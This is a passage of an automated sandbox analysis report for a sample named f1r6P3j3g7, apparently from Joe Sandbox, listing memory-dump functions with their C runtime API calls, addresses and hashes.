Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: fd9685c0f8e99762da6b47b8c6f7231e6a09b9523451af01b9522ecad555d412
Instruction ID: 1428b834d82d1d777cc9b0561dea0e5381722af89e0f09c68a2b7c36457811ac
Opcode Fuzzy Hash: fd9685c0f8e99762da6b47b8c6f7231e6a09b9523451af01b9522ecad555d412
Instruction Fuzzy Hash: 14212C76E0014A9ACF18DEBDC949EBDBBB8EB84305F54416AF711E7685DA34DE048F10

Function 008F53B1 Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 008F53B8
std::_Lockit::_Lockit.LIBCPMT ref: 008F53C2
int.LIBCPMT ref: 008F53D9

Part of subcall function 008F16B4: std::_Lockit::_Lockit.LIBCPMT ref: 008F16C5
Part of subcall function 008F16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 008F16DF

std::_Facet_Register.LIBCPMT ref: 008F5413
std::_Lockit::~_Lockit.LIBCPMT ref: 008F5433
Concurrency::cancel_current_task.LIBCPMT ref: 008F5440

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Register
String ID:
API String ID: 55977855-0
Opcode ID: 50939b9062fa19096d16f12e0159aa99cab51f85e5fa4a447cfa3440c323f79b
Instruction ID: 8a802dd916e006678305a4636f1e7238ec527bcdc16268245fa94d10997893a4
Opcode Fuzzy Hash: 50939b9062fa19096d16f12e0159aa99cab51f85e5fa4a447cfa3440c323f79b
Instruction Fuzzy Hash: D811DF72A1061C9BCB14EB78C8056BEB7F4FF58324F244509EA05E7290DFB4AA40CB92

Function 008FA25A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,008FA251,008F8978,008F7AFF), ref: 008FA268
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 008FA276
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 008FA28F
SetLastError.KERNEL32(00000000,008FA251,008F8978,008F7AFF), ref: 008FA2E1

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: b46e71779aeb2287ce4461b4640a8c1ea8e508808ecacc44585721b09c2c6930
Instruction ID: c196b801b83c1d353b384a2d72345ad2cefecc208153f4611904f04193951937
Opcode Fuzzy Hash: b46e71779aeb2287ce4461b4640a8c1ea8e508808ecacc44585721b09c2c6930
Instruction Fuzzy Hash: 8101D87632D3296E96182778BCC66B62755FB1A774B204329F314D11E1EF624C02B147

Function 00944FA3 Relevance: 9.1, APIs: 6, Instructions: 59COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 00944EFA

Part of subcall function 0093AD28: __mtinitlocknum.LIBCMT ref: 0093AD3E
Part of subcall function 0093AD28: __amsg_exit.LIBCMT ref: 0093AD4A

_free.LIBCMT ref: 00944F21
__lock.LIBCMT ref: 00944F3A
___removelocaleref.LIBCMT ref: 00944F49
___freetlocinfo.LIBCMT ref: 00944F62
_free.LIBCMT ref: 00944F7F

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: __lock_free$___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 1181530324-0
Opcode ID: 14eb0c7fe894d5b8d852f0898a8411548b399900cf7780233aa77db08523b3c3
Instruction ID: bc8d47810278ea957fd49f0ef3dd4b6289b03ac2ee779e82d6b0d327d95c5caf
Opcode Fuzzy Hash: 14eb0c7fe894d5b8d852f0898a8411548b399900cf7780233aa77db08523b3c3
Instruction Fuzzy Hash: B011CE31505704ABDB30AF749806F1E73E8AF84722F60459DF0A4EB5D0DB39DD84CA62

Function 00900F50 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,AADF6F49,?,?,00000000,00911FC8,000000FF,?,00900EE0,00901010,?,00900EB4,00000000), ref: 00900F85
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00900F97
FreeLibrary.KERNEL32(00000000,?,?,00000000,00911FC8,000000FF,?,00900EE0,00901010,?,00900EB4,00000000), ref: 00900FB9

Strings

mscoree.dll, xrefs: 00900F7E
CorExitProcess, xrefs: 00900F8F

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 36813efbcabb4e3a445b0ef00825469c1470a9931bce0e1a38c6a878b14cbfef
Instruction ID: dcdd9b34a10605d457b1b9790d53e33c5bd5d078b9abbf20c21f780626bd49fb
Opcode Fuzzy Hash: 36813efbcabb4e3a445b0ef00825469c1470a9931bce0e1a38c6a878b14cbfef
Instruction Fuzzy Hash: D8016231A58619FFDB118B54DC09FEEBBB9FB48B14F048529F911A22D0DB749904DA90

Function 00931BA0 Relevance: 7.8, APIs: 5, Instructions: 297COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00931C27
_memset.LIBCMT ref: 00931C38
_memset.LIBCMT ref: 00931D00
_memset.LIBCMT ref: 00931D6C
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00931E8E

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: _memset$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 2583058844-0
Opcode ID: d5154201261d98dd49ec3167d00f3a754cd273ccce8e86cb9f9af44637ef3501
Instruction ID: 8dbee1c1e8903a691dcb994750c1106c9548604a1f940284bdeb7cff9384e028
Opcode Fuzzy Hash: d5154201261d98dd49ec3167d00f3a754cd273ccce8e86cb9f9af44637ef3501
Instruction Fuzzy Hash: 32C129B1E0022AABDF21EF64DC85AED77BDAF48305F1140A1FA09A3150DB359F858F51

Function 00941B0F Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

__mtterm.LIBCMT ref: 00941B23
__init_pointers.LIBCMT ref: 00941BD5
__calloc_crt.LIBCMT ref: 00941C43
__initptd.LIBCMT ref: 00941C68

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: __calloc_crt__init_pointers__initptd__mtterm
String ID:
API String ID: 3132042578-0
Opcode ID: c4b24359c7556117875d4a9d0ed065821010c0f35d81486e563c5d9150432d9a
Instruction ID: b8fbf0964ff1fa90be5947d8310f0049215873f49cd1bfb61811af1808c6aa4d
Opcode Fuzzy Hash: c4b24359c7556117875d4a9d0ed065821010c0f35d81486e563c5d9150432d9a
Instruction Fuzzy Hash: 98315C35D403509ACB23AF79AD88A153BA4EF84762F10063BE454D32B1EFB5D480CF59

Function 0093CA1A Relevance: 7.6, APIs: 5, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 0093CA63
DName::operator+.LIBCMT ref: 0093CA6A
DName::DName.LIBCMT ref: 0093CA8C
DName::operator+.LIBCMT ref: 0093CA93
DName::operator+.LIBCMT ref: 0093CA9A

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: Name::operator+$NameName::
String ID:
API String ID: 168861036-0
Opcode ID: 3aa0acc439a82f8bd65084423e96e0a9ca118dedd833d16da9c95a53395b9bdd
Instruction ID: 2a97401650d56cd6240b0976eb1dfd92da51defefc446c28f2685d51bf52badd
Opcode Fuzzy Hash: 3aa0acc439a82f8bd65084423e96e0a9ca118dedd833d16da9c95a53395b9bdd
Instruction Fuzzy Hash: 3C016170600609AFCF04EBA4DC52EAD7BB5EF84705F004055F505AB292DB70E9458F84

Function 008F4436 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 008F4442
int.LIBCPMT ref: 008F4455

Part of subcall function 008F16B4: std::_Lockit::_Lockit.LIBCPMT ref: 008F16C5
Part of subcall function 008F16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 008F16DF

std::_Facet_Register.LIBCPMT ref: 008F4488
std::_Lockit::~_Lockit.LIBCPMT ref: 008F449E
Concurrency::cancel_current_task.LIBCPMT ref: 008F44A9

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 1d8e89c235ae74677728878a44d173bfff382718943fe3ccf98277e7b0339ee0
Instruction ID: b2d00e5f8b389db3078e6c1b5183232c1f20218d2e02c1eacb199fd89022866c
Opcode Fuzzy Hash: 1d8e89c235ae74677728878a44d173bfff382718943fe3ccf98277e7b0339ee0
Instruction Fuzzy Hash: 71018F7650151CABCB19EB78E8499BE7768FF90360B20015AFA09F7290EB309E41D795

Function 008F3DB1 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 008F3DBD
int.LIBCPMT ref: 008F3DD0

Part of subcall function 008F16B4: std::_Lockit::_Lockit.LIBCPMT ref: 008F16C5
Part of subcall function 008F16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 008F16DF

std::_Facet_Register.LIBCPMT ref: 008F3E03
std::_Lockit::~_Lockit.LIBCPMT ref: 008F3E19
Concurrency::cancel_current_task.LIBCPMT ref: 008F3E24

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 1fa70753ce6908ecbfbf61daa885e8d93cb69479968636de7b95b9f4643b3910
Instruction ID: 2288b7b20ed72940e78d44b0b7426b8b928ff228062aefd5f5d7a4bc0d38975a
Opcode Fuzzy Hash: 1fa70753ce6908ecbfbf61daa885e8d93cb69479968636de7b95b9f4643b3910
Instruction Fuzzy Hash: 7E01847290051CABCB25BB78D8498BE77A8FF90360B200159FA05E7291EB309E41CB91

Function 008F4308 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 008F4315
int.LIBCPMT ref: 008F4328

Part of subcall function 008F16B4: std::_Lockit::_Lockit.LIBCPMT ref: 008F16C5
Part of subcall function 008F16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 008F16DF

std::_Facet_Register.LIBCPMT ref: 008F435B
std::_Lockit::~_Lockit.LIBCPMT ref: 008F4371
Concurrency::cancel_current_task.LIBCPMT ref: 008F437C

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: c476ff79d23f635fc0a700d416db7b82357f76509b9b6b1430a132c0d6f41115
Instruction ID: 90c72bc8c74edf1b573ef8ab176292bd336587bbc7d0f31c989ce44767f5ea88
Opcode Fuzzy Hash: c476ff79d23f635fc0a700d416db7b82357f76509b9b6b1430a132c0d6f41115
Instruction Fuzzy Hash: 49018F3290451CABCB15BB78E805CBE77A8FF90764B20115AFA05E7291EB349E46C781

Function 008F507A Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 008F5081
std::_Lockit::_Lockit.LIBCPMT ref: 008F508C
std::locale::_Setgloballocale.LIBCPMT ref: 008F50A7
_Yarn.LIBCPMT ref: 008F50BD
std::_Lockit::~_Lockit.LIBCPMT ref: 008F50FA

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$H_prolog3Lockit::_Lockit::~_SetgloballocaleYarnstd::locale::_
String ID:
API String ID: 156189095-0
Opcode ID: d5e67f2d4c75f1f8446b28aafb7cdf9386446752c670730ec47e514e296fefc3
Instruction ID: 9bdbc7cb8b65795e21874cbc0e9a6a3f149945c1eff36d4c5d6b50c716642223
Opcode Fuzzy Hash: d5e67f2d4c75f1f8446b28aafb7cdf9386446752c670730ec47e514e296fefc3
Instruction Fuzzy Hash: 0B01B1356045189BDB09AB34D84197D7BB1FF89344B248009EA0197381CF34AE41DBC2

Function 00944FAE Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00944FBA

Part of subcall function 0094194C: __getptd_noexit.LIBCMT ref: 0094194F
Part of subcall function 0094194C: __amsg_exit.LIBCMT ref: 0094195C

__calloc_crt.LIBCMT ref: 00944FC5
__lock.LIBCMT ref: 00944FFB
___addlocaleref.LIBCMT ref: 00945007
__lock.LIBCMT ref: 0094501B

Part of subcall function 00940AEC: __getptd_noexit.LIBCMT ref: 00940AEC

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__getptd
String ID:
API String ID: 2820776222-0
Opcode ID: 2c0f3218e348ac7c5fd0d4c97702a7053877af8ef00d8f5bc14db8e52945bb76
Instruction ID: f1d3ea76c176ada017f66c0d36cfb60da8840986531d281ce869d3a56f57d4af
Opcode Fuzzy Hash: 2c0f3218e348ac7c5fd0d4c97702a7053877af8ef00d8f5bc14db8e52945bb76
Instruction Fuzzy Hash: 8701A275541705EFEB20BFB49803F5C77A0AFC4721F208619F4A89B2D2CB744940CBA6

Function 00943711 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0094371D

Part of subcall function 0094194C: __getptd_noexit.LIBCMT ref: 0094194F
Part of subcall function 0094194C: __amsg_exit.LIBCMT ref: 0094195C

__getptd.LIBCMT ref: 00943734
__amsg_exit.LIBCMT ref: 00943742
__lock.LIBCMT ref: 00943752
__updatetlocinfoEx_nolock.LIBCMT ref: 00943766

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 4402fd7a9f35548a0a6e406088b1ac9e9fe92c8952a9fc7886658e1653cea504
Instruction ID: dc962b2e47e3e2f620ae9bce224d6a184f26b6ffe0ea38a218eb79c4c942067d
Opcode Fuzzy Hash: 4402fd7a9f35548a0a6e406088b1ac9e9fe92c8952a9fc7886658e1653cea504
Instruction Fuzzy Hash: 1DF0B4B2944714AFD735BB78A803F1D72A0AF80721F118609F4D067AD2CB286A40CA5E

Function 008FB3A2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,008FB353,00000000,?,0097ECCC,?,?,?,008FB4F6,00000004,InitializeCriticalSectionEx,00914BD8,InitializeCriticalSectionEx), ref: 008FB3AF
GetLastError.KERNEL32(?,008FB353,00000000,?,0097ECCC,?,?,?,008FB4F6,00000004,InitializeCriticalSectionEx,00914BD8,InitializeCriticalSectionEx,00000000,?,008FB2AD), ref: 008FB3B9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 008FB3E1

Strings

api-ms-, xrefs: 008FB3C6

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: b01c631790b9cabd3c50add96e9c01189abcf1e697f591a5ea486a17bd78cec3
Instruction ID: 96310504bbcceb07d2a7fe2f9b884344a49f5d43151d00ad95060764fd9292d1
Opcode Fuzzy Hash: b01c631790b9cabd3c50add96e9c01189abcf1e697f591a5ea486a17bd78cec3
Instruction Fuzzy Hash: 76E048303C4208B7EF111B71EC46B693EA8EB04B41F108021FB0CF81E1D771D954D684

Function 00907747 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(AADF6F49,00000000,00000000,00000000), ref: 009077AA

Part of subcall function 0090952A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00908FD3,?,00000000,-00000008), ref: 009095D6

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00907A05
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00907A4D
GetLastError.KERNEL32 ref: 00907AF0

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
